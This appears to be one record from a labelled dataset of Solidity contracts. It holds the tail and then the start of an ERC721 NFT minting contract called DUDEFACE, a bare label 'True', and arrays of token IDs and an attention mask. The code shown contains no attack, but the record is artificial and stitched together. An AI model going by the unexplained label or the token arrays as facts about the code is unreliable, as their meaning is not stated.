* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/DUDEFACE.sol
// Amended by HashLips
/**
!Disclaimer!
These contracts have been used to create tutorials,
and was created for the purpose to teach people
how to create smart contracts on the blockchain.
please review this code on your own before using any of
the following code for production.
The developer will not be responsible or liable for all loss or
damage whatsoever caused by you participating in any way in the
experimental code, whether putting money into the contract or
using the code for your own project.
*/
pragma solidity >=0.7.0 <0.9.0;
contract DUDEFACE is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost = 0.10 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmountPerTx = 10;
bool public paused = true;
bool public revealed = false;
constructor() ERC721("DUDEFACE", "DUDES") {
setHiddenMetadataUri("ipfs://QmYWEp8FJERN86d9uGEor5u48JokxSQXkEizyqjnpiGS73/hidden.json");
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!");
_;
}
function totalSupply() public view returns (uint256) {
return supply.current();
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(msg.value >= cost * _mintAmount, "Insufficient funds!");
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
_mintLoop(_receiver, _mintAmount);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))
: "";
}
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
function setCost(uint256 _cost) public onlyOwner {
cost = _cost;
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
maxMintAmountPerTx = _maxMintAmountPerTx;
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public onlyOwner {
// This will transfer the remaining contract balance to the owner.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
_safeMint(_receiver, supply.current());
}
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5890,
1011,
2321,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
24094,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
21183,
12146,
1013,
24094,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
24094,
1008,
1030,
3166,
4717,
25805,
2078,
1006,
1030,
23822,
1007,
1008,
1030,
16475,
3640,
24094,
2008,
2064,
2069,
2022,
4297,
28578,
14088,
1010,
11703,
28578,
14088,
2030,
25141,
1012,
2023,
2064,
2022,
2109,
1041,
1012,
1043,
1012,
2000,
2650,
1996,
2193,
1008,
1997,
3787,
1999,
1037,
12375,
1010,
15089,
9413,
2278,
2581,
17465,
8909,
2015,
1010,
2030,
10320,
5227,
8909,
2015,
1012,
1008,
1008,
2421,
2007,
1036,
2478,
24094,
2005,
24094,
1012,
4675,
1025,
1036,
1008,
1013,
3075,
24094,
1063,
2358,
6820,
6593,
4675,
1063,
1013,
1013,
2023,
8023,
2323,
2196,
2022,
3495,
11570,
2011,
5198,
1997,
1996,
3075,
1024,
10266,
2442,
2022,
7775,
2000,
1013,
1013,
1996,
3075,
1005,
1055,
3853,
1012,
2004,
1997,
5024,
3012,
1058,
2692,
1012,
1019,
1012,
1016,
1010,
2023,
3685,
2022,
16348,
1010,
2295,
2045,
2003,
1037,
6378,
2000,
5587,
1013,
1013,
2023,
3444,
1024,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
4805,
24434,
21318,
3372,
17788,
2575,
1035,
3643,
1025,
1013,
1013,
12398,
1024,
1014,
1065,
3853,
2783,
1006,
4675,
5527,
4675,
1007,
4722,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4675,
1012,
1035,
3643,
1025,
1065,
3853,
4297,
28578,
4765,
1006,
4675,
5527,
4675,
1007,
4722,
1063,
4895,
5403,
18141,
1063,
4675,
1012,
1035,
3643,
1009,
1027,
1015,
1025,
1065,
1065,
3853,
11703,
28578,
4765,
1006,
4675,
5527,
4675,
1007,
4722,
1063,
21318,
3372,
17788,
2575,
3643,
1027,
4675,
1012,
1035,
3643,
1025,
5478,
1006,
3643,
1028,
1014,
1010,
1000,
4675,
1024,
11703,
28578,
4765,
2058,
12314,
1000,
1007,
1025,
4895,
5403,
18141,
1063,
4675,
1012,
1035,
3643,
1027,
3643,
1011,
1015,
1025,
1065,
1065,
3853,
25141,
1006,
4675,
5527,
4675,
1007,
4722,
1063,
4675,
1012,
1035,
3643,
1027,
1014,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
7817,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
21183,
12146,
1013,
7817,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5164,
3136,
1012,
1008,
1013,
3075,
7817,
1063,
27507,
16048,
2797,
5377,
1035,
2002,
2595,
1035,
9255,
1027,
1000,
5890,
21926,
19961,
2575,
2581,
2620,
2683,
7875,
19797,
12879,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
19884,
1037,
1036,
21318,
3372,
17788,
2575,
1036,
2000,
2049,
2004,
6895,
2072,
1036,
5164,
1036,
26066,
6630,
1012,
1008,
1013,
3853,
2000,
3367,
4892,
1006,
21318,
3372,
17788,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-22
*/
/**
*Submitted for verification at Etherscan.io on 2021-08-27
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
